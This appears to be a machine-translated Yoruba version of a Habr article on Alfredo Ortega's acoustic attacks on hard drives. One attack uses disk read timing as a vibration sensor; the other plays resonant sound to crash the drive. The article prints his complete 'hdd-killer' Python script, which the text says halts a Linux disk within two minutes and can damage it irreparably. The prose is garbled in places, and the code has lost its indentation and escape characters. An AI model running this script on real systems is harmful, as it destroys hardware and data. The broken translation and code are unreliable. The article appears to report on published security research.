
Ni apejọ aabo kọnputa Ekoparty 2017 ni Buenos Aires, agbonaeburuwole Argentine Alfredo Ortega ṣe afihan idagbasoke ti o nifẹ pupọ - eto kan fun titẹ waya ti agbegbe laisi lilo gbohungbohun kan. Ohun !
HDD ni akọkọ n gbe awọn ohun igbohunsafẹfẹ kekere-kikan soke, awọn igbesẹ ati awọn gbigbọn miiran. Ọrọ eniyan ko le ṣe idanimọ sibẹsibẹ, botilẹjẹpe awọn onimọ-jinlẹ (Idanimọ ọrọ nipasẹ awọn gbigbọn-igbohunsafẹfẹ kekere, eyiti o gbasilẹ, fun apẹẹrẹ, lati gyroscope tabi HDD).
Ohun jẹ gbigbọn ti afẹfẹ tabi alabọde miiran. Eniyan ṣe akiyesi wọn nipasẹ eardrum, eyiti o tan awọn gbigbọn si eti inu. A ṣe apẹrẹ gbohungbohun ni aijọju bi eti - nibi, paapaa, awọn gbigbọn ti wa ni igbasilẹ nipasẹ awọ ara tinrin, eyiti o ṣe itara agbara itanna kan. Dirafu lile, dajudaju, tun jẹ koko-ọrọ si awọn gbigbọn airi nitori awọn iyipada ninu afẹfẹ agbegbe. Eyi ni a mọ paapaa lati awọn abuda imọ-ẹrọ ti HDDs: awọn aṣelọpọ nigbagbogbo tọka si ipele gbigbọn iyọọda ti o pọju, ati dirafu lile funrararẹ nigbagbogbo gbiyanju lati gbe sinu apoti ẹri gbigbọn ti a ṣe ti roba tabi ohun elo idabobo miiran. Lati eyi o rọrun lati pinnu pe awọn ohun le ṣe igbasilẹ nipa lilo HDD. Gbogbo awọn ti o ku ni lati ro ero bawo.
Alfredo Ortega dabaa ẹya alailẹgbẹ ti ikọlu ikanni ẹgbẹ kan, eyun ikọlu akoko kan. Ikọlu yii da lori arosinu pe awọn iṣẹ oriṣiriṣi ṣe lori ẹrọ ni awọn akoko oriṣiriṣi, da lori data igbewọle ti a fun. Ni idi eyi, "data ti nwọle" jẹ awọn gbigbọn ti ori kika ati HDD platter, eyiti o ni ibamu pẹlu awọn gbigbọn ti ayika, eyini ni, pẹlu ohun. Bayi, nipa wiwọn akoko iṣiro ati ṣiṣe iṣiro iṣiro ti data, awọn gbigbọn ti ori / platter ati nibi awọn gbigbọn ti alabọde le ṣe iwọn. Bi idaduro naa ṣe gun ni kika data, awọn gbigbọn HDD ni okun sii ati, nitorina, ohun ti npariwo.
Bawo ni lati wiwọn gbigbọn dirafu lile? O rọrun pupọ: kan ṣiṣe ipe eto naa read () - ati ṣe igbasilẹ akoko ti o to lati pari. Awọn ọna ṣiṣe ode oni gba ọ laaye lati ka akoko awọn ipe eto pẹlu deede nanosecond.
Iyara ti alaye kika lati eka kan da lori ipo ti ori ati platter, eyiti o ni ibamu pẹlu awọn gbigbọn ti ọran HDD. Gbogbo ẹ niyẹn.
Ayẹwo iṣiro ni a ṣe ni lilo ohun elo Kscope kan ti o rọrun. Bi wọn ti sọ, ohun gbogbo ti ọgbọn jẹ rọrun.

IwUlO Kscope (stat() syscall)
Kscope jẹ ohun elo kekere fun wiwo awọn iyatọ kekere ni awọn akoko ipaniyan eto. Orisun.
Ni lọtọ ibi ipamọ ẹya ti ohun elo ti tunto fun ikọlu akoko lori dirafu lile, iyẹn ni, tunto lati ṣe itupalẹ ipe eto naa. read ().
Afihan ti gbigbasilẹ ohun nipa lilo HDD, isẹ ti Kscope IwUlO

Nitoribẹẹ, ọrọ ko le loye ni ọna yii, ṣugbọn HDD dara pupọ bi sensọ gbigbọn. Fun apẹẹrẹ, o le forukọsilẹ ti eniyan ti o wọ bata lile tabi laisi bata wọ yara kan pẹlu kọnputa (boya, ti ikọlu ba wọ awọn sneakers rirọ tabi capeti ti o nipọn lori ilẹ, HDD kii yoo ni anfani lati forukọsilẹ awọn gbigbọn - eyi tọ lati ṣayẹwo). Kọmputa naa ni anfani lati forukọsilẹ gilasi fifọ tabi awọn iṣẹlẹ miiran pẹlu kikankikan ohun to lagbara. Iyẹn ni, dirafu lile le ṣiṣẹ bi iru eto wiwa ifọle laigba aṣẹ.
HDD apaniyan
Lọ́nà kan náà, a lè lo irú ọ̀nà kan náà láti mú kí àwọn aṣínà líle má ṣiṣẹ́. Ṣùgbọ́n, níbí, a kì í ṣe pé a máa ń ya àwọn ìró láti inú HDD, ṣùgbọ́n a máa ń mú àwọn ìró tí a máa ń fi sínú HDD jáde. Tí o bá ń gbọ́ ohùn láti inú agbọ́hùnsọ ní ìró ìgbà tí ó bá ìró ìgbà tí HDD bá ń ṣiṣẹ́, ètò náà yóò pa ẹ̀rọ náà láìpẹ́ pẹ̀lú àṣìṣe I/O (ẹ̀rọ náà). Linux (Èyí á pa HDD náà pátápátá lẹ́yìn ìṣẹ́jú-àáyá 120.) Dáìkì líle náà fúnra rẹ̀ lè bàjẹ́ láìsí àtúnṣe.

Mojuto Linux Dáàkì líle náà ti pa lẹ́yìn ìṣẹ́jú àáyá 120 tí ó ti ń gbọ́ ohùn ní ìgbóhùnsáfẹ́fẹ́ resonant nípasẹ̀ agbọ́hùnsọ USB Edifier r19u. A tan agbọ́hùnsọ náà ní ìdá mẹ́rin agbára rẹ̀ (tó kéré sí 100 mW) ó sì wà ní 20 cm sí HDD, ó tọ́ka sí tábìlì náà láti mú kí ìró náà pọ̀ sí i. pẹlu ifihan ti HDD apaniyan
O jẹ iyanilenu pe iru “awọn ikọlu” lori HDDs nigbakan waye patapata nipasẹ ijamba ni igbesi aye ojoojumọ. Fun apẹẹrẹ, ni Oṣu Kẹsan ọdun 2016, ile-iṣẹ data data ING Bank ti fi agbara mu lati da awọn iṣẹ duro fun awọn wakati 10 lẹhin adaṣe ina. nitori ohun ti npariwo ti gaasi inert ti a tu silẹ lati inu awọn silinda labẹ titẹ giga. Ohùn naa pariwo pupọ (diẹ sii ju 130 dB), ṣugbọn o ko le pariwo si awọn dirafu lile - eyi mu idaduro ni iraye si HDD naa.
Ifihan ti igbe eniyan ni awọn awakọ lile ni ile-iṣẹ data kan. Wiwọn airi

Lati ṣe agbejade ohun ti n ṣe atunṣe, Alfredo Ortega kowe iwe afọwọkọ Python kan ti a pe ().
O kere pupọ, nitorinaa o le gbejade ni gbogbo rẹ nibi.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()orisun: www.habr.com
